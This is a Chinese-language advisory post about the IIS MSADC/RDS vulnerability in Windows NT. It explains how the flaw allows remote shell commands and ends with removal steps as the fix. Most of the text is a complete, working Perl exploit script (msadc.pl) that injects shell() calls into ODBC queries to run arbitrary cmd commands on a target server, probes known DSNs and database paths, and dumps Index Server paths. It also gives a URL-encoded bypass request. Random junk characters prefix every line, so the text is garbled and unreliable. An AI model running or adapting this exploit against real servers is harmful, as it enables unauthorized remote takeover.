IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?iQA>P9B G: p!PB>= 涉及程序：
q9mYhT/I m Microsoft NT server
p/GYfa
dU ~IP3~m D 描述：
]'a9 >o 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<+2M,fq+ "Ca?liy 详细：
2 -
? 如果你没有时间读详细内容的话，就删除:
*q/oS8vavd c:\Program Files\Common Files\System\Msadc\msadcs.dll
5Zdx n> 有关的安全问题就没有了。
h=Xr J 7<?~ A6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
tzFgPeo$; b6E,u*)" 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
)$ +5imi 关于利用ODBC远程漏洞的描述，请参看:
SOPQg?'n=V %`Q<_LTU http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -A A='s Axtf,x+lH 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
,0=@cJ http://www.microsoft.com/security/bulletins/MS99-025faq.asp m +Bt9|d beM}({:` 这里不再论述。
]\Tcy [5 !b+/zXp3I 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
L8zY?v(bG ? MhY;z`= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|Skxa\MI 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
L>qLl_. 1vF^<{%v (!^(74 #将下面这段保存为txt文件，然后: "perl -x 文件名"
o]vU(j_Ju B[R1XpB7 #!perl
$A/$M\ : #
Wi?37EHr # MSADC/RDS 'usage' (aka exploit) script
k_c8\::p# #
2Hp#~cE+. # by rain.forest.puppy
c%+9uu3 #
'nFqq:2Xa # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ZJxUv
{J # beta test and find errors!
(|PxR#{l< qq+fUfB2: use Socket; use Getopt::Std;
3B<$ 6 getopts("e:vd:h:XR", \%args);
p ^U:O&U( ?`oCc [hY print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
p7A&r:qq# . d;XLS~ if (!defined $args{h} && !defined $args{R}) {
yn[^!GuJ_ print qq~
'b*
yY X< Usage: msadc.pl -h <host> { -d <delay> -X -v }
<R.5 Ma -h <host> = host you want to scan (ip or domain)
ci @U
a}T -d <seconds> = delay between calls, default 1 second
m-Uq6_e -X = dump Index Server path table, if available
LI&+5` -v = verbose
3PEv.h Gx -e = external dictionary file for step 5
ZMHb cI O7RD $8 Or a -R will resume a command session
[7~ !M*o9
J Rm:hf' ~; exit;}
hK+Iow- P>dM ET $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8W]6/st?] if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
pOCLyM9c if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,4 -) e if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
)k.[V e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
XZv(B^ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~7W?W< IQS:tL/ if (!defined $args{R}){ $ret = &has_msadc;
N%A[}Y0;MW die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\V|\u= @H :/BU-SFK^ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.]qj];m . "cmd /c ";
$ f-f0t' $in=<STDIN>; chomp $in;
['MG/FKuv $command="cmd /c " . $in ;
L>Y>b4oy3 m q`EM OH if (defined $args{R}) {&load; exit;}
iR9
$E _91g=pM print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8xQ5[Ov &try_btcustmr;
<|M cE 0@yHT-Dy print "\nStep 2: Trying to make our own DSN...";
J>Y wMl &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
cp0@wC#d 8Vkw
vc print "\nStep 3: Trying known DSNs...";
gsn3]^X &known_dsn;
:t6 w+h
5' /Ney9N print "\nStep 4: Trying known .mdbs...";
Zu\(XN?62 &known_mdb;
X=Q)R 1~6v :!M/9D*}0 if (defined $args{e}){
#ra~Yb-F print "\nStep 5: Trying dictionary of DSN names...";
V f JYYR &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
coHzbD~#H )v-s de\ print "Sorry Charley...maybe next time?\n";
8I)66 exit;
I_('Mr) ; /fZh:V2 ##############################################################################
GNzk Vy:u yVvO! sub sendraw { # ripped and modded from whisker
zo-hH8J: sleep($delay); # it's a DoS on the server! At least on mine...
Bf$YwoZov my ($pstr)=@_;
O+Fu zCWj socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
gRS}Y8 die("Socket problems\n");
){|Bh3XV if(connect(S,pack "SnA4x8",2,80,$target)){
*.0}3 select(S); $|=1;
GqXnOmk print $pstr; my @in=<S>;
{H+~4XG select(STDOUT); close(S);
)\C: | return @in;
oZxC.;xJ } else { die("Can't connect...\n"); }}
k zqW&`xn? 5Xu2MY= ##############################################################################
EX%KfWDr c(. 2D sub make_header { # make the HTTP request
wRn] my $msadc=<<EOT
\0iF <0oy POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
VLuhURI) User-Agent: ACTIVEDATA
gnW `|-:\ Host: $ip
<=A1d\ Content-Length: $clen
D9M<> Xz) Connection: Keep-Alive
#5xK&qA Y]aVa2!Wb ADCClientVersion:01.06
WG8}}`F| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)UA};Fus 6 eqxwj{S[ --!ADM!ROX!YOUR!WORLD!
=EI>@Y" Content-Type: application/x-varg
}>I|\Z0I Content-Length: $reqlen
)<bgZ, v 5o 4\Jwt EOT
D<5;4Mb ; $msadc=~s/\n/\r\n/g;
FUic7> return $msadc;}
=T'N6x5@ NGIbUH1[ ##############################################################################
0Ym+10g fr$E'+l) sub make_req { # make the RDS request
iB;EV8E my ($switch, $p1, $p2)=@_;
ES[H^}|Gi my $req=""; my $t1, $t2, $query, $dsn;
K,{P
b? 'M>QA"*48E if ($switch==1){ # this is the btcustmr.mdb query
LeDty_ $query="Select * from Customers where City=" . make_shell();
ezn%*X
y, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
MaDdiyeC $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
68
% =
V>V 8"L#5MO t elsif ($switch==2){ # this is general make table query
4}@J]_]Z $query="create table AZZ (B int, C varchar(10))";
DD`Bl1) $dsn="$p1";}
&~ of]A O4w6\y3U elsif ($switch==3){ # this is general exploit table query
?AC flU_k $query="select * from AZZ where C=" . make_shell();
+eSNwR= $dsn="$p1";}
hh/C{ l kH'LG! O elsif ($switch==4){ # attempt to hork file info from index server
I8;xuutc $query="select path from scope()";
QOA7#H-m9 $dsn="Provider=MSIDXS;";}
36mp+}R# We&~]-b AW elsif ($switch==5){ # bad query
U~8;y' $query="select";
oc+TsVt $dsn="$p1";}
h>AK^fX fgrflW$ $t1= make_unicode($query);
wVU.j$+_# $t2= make_unicode($dsn);
K.s\xA5`_ $req = "\x02\x00\x03\x00";
EXDZehLD<] $req.= "\x08\x00" . pack ("S1", length($t1));
.)L%ANf $req.= "\x00\x00" . $t1 ;
\c1u$'| v $req.= "\x08\x00" . pack ("S1", length($t2));
5VD(fW[OW] $req.= "\x00\x00" . $t2 ;
!n9H [QP^9 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
04ZP \ return $req;}
}71a3EUK \ng!qN ##############################################################################
`}t<5_ qxKW% {6o sub make_shell { # this makes the shell() statement
{j$ :9 H return "'|shell(\"$command\")|'";}
VfWU-lJ /J''`Tf ##############################################################################
LpC JfQ a"7zz]XO2 sub make_unicode { # quick little function to convert to unicode
~6YTm6o my ($in)=@_; my $out;
xQLVFgd for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
@r7ekyO8) return $out;}
/Kcp9Qx e
]-fb{oVH ##############################################################################
bMe/jQuL.$ &QHZ]2%U sub rdo_success { # checks for RDO return success (this is kludge)
g R7in!8 my (@in) = @_; my $base=content_start(@in);
D%[yA r;r if($in[$base]=~/multipart\/mixed/){
mX8k4$ z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
.[mI9dc return 0;}
Hw"Lo Vh r<< ]41 ##############################################################################
t&5N{C: O5X@'.#rU sub make_dsn { # this makes a DSN for us
in}d(%3h my @drives=("c","d","e","f");
z~8`xn, print "\nMaking DSN: ";
% gBulvg foreach $drive (@drives) {
w[ )97d print "$drive: ";
e_U1}{=t my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
dsJMhB_41U "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
=CBY _ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
X#v6v)c $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
}eKY%WU>O return 0 if $2 eq "404"; # not found/doesn't exist
i2 bkgyzB. if($2 eq "200") {
Xy (8} foreach $line (@results) {
`Hlv*" w$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ZC7Zl L _ } return 0;}
0iS"V^aH vs=8x\W ##############################################################################
* vFXe_. s=KK)6T sub verify_exists {
O4`am:@ my ($page)=@_;
3m;*gOLk6 my @results=sendraw("GET $page HTTP/1.0\n\n");
?7;_3+T# return $results[0];}
.VD:FFkW "~V|p3 ##############################################################################
w?eJVi@w{ eMT}"u8$A sub try_btcustmr {
JSp V2c 5Q my @drives=("c","d","e","f");
J}zN] |bz my @dirs=("winnt","winnt35","winnt351","win","windows");
6KH&-ffd lftT55Tki foreach $dir (@dirs) {
z5njblUz print "$dir -> "; # fun status so you can see progress
KOv?p@d foreach $drive (@drives) {
@wVq%GG} print "$drive: "; # ditto
IA6,P>}N $reqlen=length( make_req(1,$drive,$dir) ) - 28;
qoZUX3{ $reqlenlen=length( "$reqlen" );
Nw3K@ Ge $clen= 206 + $reqlenlen + $reqlen;
%imI.6 PiL[& _8g my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Hl|EySno if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
-F->l5 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{OIktG2gZ { tKi8O^Rb ##############################################################################
%[l#S*)~ O YY k[r sub odbc_error {
Z qi ;by% my (@in)=@_; my $base;
a ]b%v9 my $base = content_start(@in);
"g IjU~'A if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
A#;T Y:D2 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
KkK
! E $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V;N'?Gu $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5~!&x@ return $in[$base+4].$in[$base+5].$in[$base+6];}
zWA~0l.2 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Ung K9uB~ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
~;AJB $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.\rJ|HpZ1J 1yK= Yf%B ##############################################################################
!C6[m1F |g`:K0BI sub verbose {
AQ<2 "s my ($in)=@_;
jhx @6[ return if !$verbose;
6s<w} O print STDOUT "\n$in\n";}
5Sh.4A\ 5f}GV0=n ##############################################################################
|V
dr/' iJaA&z5sr sub save {
n/
m7+=]v my ($p1, $p2, $p3, $p4)=@_;
=@\Li)Y open(OUT, ">rds.save") || print "Problem saving parameters...\n";
nqv#?>Z^OT print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
h 0c&}kM close OUT;}
fU^6h`t a +lTAe ##############################################################################
@%[ dh@oY 0}4FwcCr\ sub load {
^Mc zumG[ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2EAY`}Rl6. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=5 kTzH. @p=<IN>; close(IN);
IpYw<2' $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
z~0f[As. $target= inet_aton($ip) || die("inet_aton problems");
5^0K5R6GQf print "Resuming to $ip ...";
#J w\pOn $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
(X|`|Y if($p[1]==1) {
?ISv|QpC $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
% CaF-m=Pq $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
x6iT"\MO my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^v+7IFn if (rdo_success(@results)){print "Success!\n";}
U#gv ~)\k else { print "failed\n"; verbose(odbc_error(@results));}}
D//uwom elsif ($p[1]==3){
wM0P#+bA\ if(run_query("$p[3]")){
L9bIdiB7 print "Success!\n";} else { print "failed\n"; }}
p6*|)}T_% elsif ($p[1]==4){
Kc#42 C;t/ if(run_query($drvst . "$p[3]")){
.!2Ac print "Success!\n"; } else { print "failed\n"; }}
\0bZ1" exit;}
JQO%-=t ) mG ##############################################################################
-I zc-W OE8H |?% sub create_table {
Hphfqdh0` my ($in)=@_;
Ks/Uyu. X $reqlen=length( make_req(2,$in,"") ) - 28;
G
]JWd $reqlenlen=length( "$reqlen" );
IA(+}V $clen= 206 + $reqlenlen + $reqlen;
A1kqWhg\ my @results=sendraw(make_header() . make_req(2,$in,""));
tLc~]G*\`s return 1 if rdo_success(@results);
jHx)q|2\ my $temp= odbc_error(@results); verbose($temp);
DcmRb/AP* return 1 if $temp=~/Table 'AZZ' already exists/;
48W-Tf6v| return 0;}
B `;DAs mT _
ATIV ##############################################################################
=7P(T`j # fkOm
Y7X sub known_dsn {
~'3hK4 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
!1{kG%B= my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
SHt#%3EU "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
8pE0ANbq "banner", "banners", "ads", "ADCDemo", "ADCTest");
MoP,a9p j|c6BdROl foreach $dSn (@dsns) {
M\w%c5 print ".";
[*2|#KSCX next if (!is_access("DSN=$dSn"));
maINp "# if(create_table("DSN=$dSn")){
P%^\<#Ya7 print "$dSn successful\n";
(.J8Q if(run_query("DSN=$dSn")){
m=e#1Hs print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
z<Y
>phc print "Something's borked. Use verbose next time\n";}}} print "\n";}
>^V3Z{; +ug[TV ##############################################################################
DNp4U9 TkjPa}; R sub is_access {
L |pJ \~ my ($in)=@_;
o ImW $reqlen=length( make_req(5,$in,"") ) - 28;
fNZ:l=L3): $reqlenlen=length( "$reqlen" );
. !`v2_ $clen= 206 + $reqlenlen + $reqlen;
e F%I X my @results=sendraw(make_header() . make_req(5,$in,""));
j[q$;uSD my $temp= odbc_error(@results);
=^D{ZZw{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
oEuo@\U05v return 0;}
n?z^"vv$i Af Oq?V ##############################################################################
u*C"d1v= C~([aH@-I sub run_query {
VjhwafYC my ($in)=@_;
*d/,Y-tl $reqlen=length( make_req(3,$in,"") ) - 28;
ja|XFs~ $reqlenlen=length( "$reqlen" );
"RG #e + $clen= 206 + $reqlenlen + $reqlen;
u9~R D my @results=sendraw(make_header() . make_req(3,$in,""));
q1O}dSPwX return 1 if rdo_success(@results);
VN[i;4o:| my $temp= odbc_error(@results); verbose($temp);
.jps6{ return 0;}
ukH?O)0O *iW$>Yjb ##############################################################################
t
9Dr%# 76M` {m sub known_mdb {
}5qjGD my @drives=("c","d","e","f","g");
r" )zR, my @dirs=("winnt","winnt35","winnt351","win","windows");
2xJT!lN my $dir, $drive, $mdb;
DHO +JtO my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q*ki eqG sJ(q.FRM' # this is sparse, because I don't know of many
A[.5B i my @sysmdbs=( "\\catroot\\icatalog.mdb",
?=lnYD j "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;N/=)m "\\system32\\certmdb.mdb",
!s:v UY58 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-a( \(^NW Z<t(h=? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
X/!37 "\\cfusion\\cfapps\\forums\\forums_.mdb",
7h3JH "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
fpK` "\\cfusion\\cfapps\\security\\realm_.mdb",
=P"Sm
r "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Z" !+p{u "\\cfusion\\database\\cfexamples.mdb",
xK8R![x "\\cfusion\\database\\cfsnippets.mdb",
S3( 2.c~ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>|e>= "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
t <Z)D0. "\\cfusion\\brighttiger\\database\\cleam.mdb",
\p&a c&] "\\cfusion\\database\\smpolicy.mdb",
}:5>1FfX= "\\cfusion\\database\cypress.mdb",
UIl^s8 / "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
F< #!83*% "\\website\\cgi-win\\dbsample.mdb",
mp x/~`c "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Q(e 3 - a "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0Q_@2 ); #these are just
yt- F2Z& foreach $drive (@drives) {
wc
!
v /A foreach $dir (@dirs){
L b eMP foreach $mdb (@sysmdbs) {
0- 'f1 1S print ".";
,B<Tt|' if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
&3;yho8v@ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
P!JRIw if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
389puDjy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`*1059 } else { print "Something's borked. Use verbose next time\n"; }}}}}
^9Je8 @Yu "[LSDE"( foreach $drive (@drives) {
cKj6tT"=O foreach $mdb (@mdbs) {
[Bz'c1 print ".";
uPtHCP6 if(create_table($drv . $drive . $dir . $mdb)){
s a71Vh{ print "\n" . $drive . $dir . $mdb . " successful\n";
&xwA E*} if(run_query($drv . $drive . $dir . $mdb)){
=k(~PB^> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
W2a 9P_ } else { print "Something's borked. Use verbose next time\n"; }}}}
XU}sbbwu }
]GS@ ub 2Rp'ju~O)/ ##############################################################################
K)!?np{km #^bkM)pc sub hork_idx {
[@qUQ,Ie print "\nAttempting to dump Index Server tables...\n";
3GS oHsNk print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Dl#%tYL+3h $reqlen=length( make_req(4,"","") ) - 28;
w C0fPPeA $reqlenlen=length( "$reqlen" );
B !hrr $clen= 206 + $reqlenlen + $reqlen;
|Gw[vY my @results=sendraw2(make_header() . make_req(4,"",""));
} 0({c~z\ if (rdo_success(@results)){
]bq<vI% my $max=@results; my $c; my %d;
8 '2lc for($c=19; $c<$max; $c++){
PG1#Z?_ $results[$c]=~s/\x00//g;
s)e ;
c<(/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
k_=~ObA$g $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
BlV k?n $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
3}H"(5dL}z $d{"$1$2"}="";}
QPH2TXw foreach $c (keys %d){ print "$c\n"; }
M- 2:$;D } else {print "Index server doesn't seem to be installed.\n"; }}
"$Wi SR <9S?wju4W' ##############################################################################
KJwkkCE/= I]`>m3SJ sub dsn_dict {
2wWL]`(E open(IN, "<$args{e}") || die("Can't open external dictionary\n");
z: aT5D while(<IN>){
COw]1 R $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
9 GdrJ~h next if (!is_access("DSN=$dSn"));
S!GjCog^J if(create_table("DSN=$dSn")){
'U)| m print "$dSn successful\n";
#pxc6W / if(run_query("DSN=$dSn")){
@5%c P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Bu'PDy~W, print "Something's borked. Use verbose next time\n";}}}
/
4K *iq print "\n"; close(IN);}
EX[X|"r >a]4} ##############################################################################
sBuVm<H g#V3u=I8 ~ sub sendraw2 { # ripped and modded from whisker
d0b--v/ sleep($delay); # it's a DoS on the server! At least on mine...
2O|o%` ? my ($pstr)=@_;
$
;/Ny )" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G6zFCgFJ^y die("Socket problems\n");
gz[Ng> D+ if(connect(S,pack "SnA4x8",2,80,$target)){
V 'Gi2gNaP print "Connected. Getting data";
@NXGVmY1} open(OUT,">raw.out"); my @in;
$ J #} 3;a select(S); $|=1; print $pstr;
\<VwGbzFi while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?S8cl 7 ;+ close(OUT); select(STDOUT); close(S); return @in;
qFV=P k } else { die("Can't connect...\n"); }}
,>%AEN6 N2 J ,fXXi)J ##############################################################################
y @AKb S{Au%Rs sub content_start { # this will take in the server headers
xXK7i\ny my (@in)=@_; my $c;
[Bp[=\ for ($c=1;$c<500;$c++) {
5FHpJlFK, if($in[$c] =~/^\x0d\x0a/){
$2F*p#l(<Z if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
:&dY1.<N+ else { return $c+1; }}}
j>M
'nQ,;d return -1;} # it should never get here actually
&b}!KD1 /n7F]Ok'* ##############################################################################
*?gn@4Ly "w`f>]YLA sub funky {
/D_8uTS>d[ my (@in)=@_; my $error=odbc_error(@in);
#UC4l]Ru A if($error=~/ADO could not find the specified provider/){
fp9ksxb@m print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-9{}rE exit;}
R,A|"Q if($error=~/A Handler is required/){
p]: ~z|.Ba print "\nServer has custom handler filters (they most likely are patched)\n";
.9 WUp > exit;}
|rf\]3 F if($error=~/specified Handler has denied Access/){
gtz!T2% print "\nServer has custom handler filters (they most likely are patched)\n";
5/mW:G,& exit;}}
"HVwm>qEi B[-%A!3
F ##############################################################################
)F<<M+q= g?(Z+w4A
3 sub has_msadc {
V0L^pDLOV my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"8Pxf= my $base=content_start(@results);
`NV =2T return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<P( K,L?r return 0;}
LaJc ;J t$ 6(oGU4 ########################
h
GS";g[? KbH#g>.oB 9L?EhDcDV 解决方案：
<l5{!g 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&P!^k0NJR 2、移除web 目录: /msadc
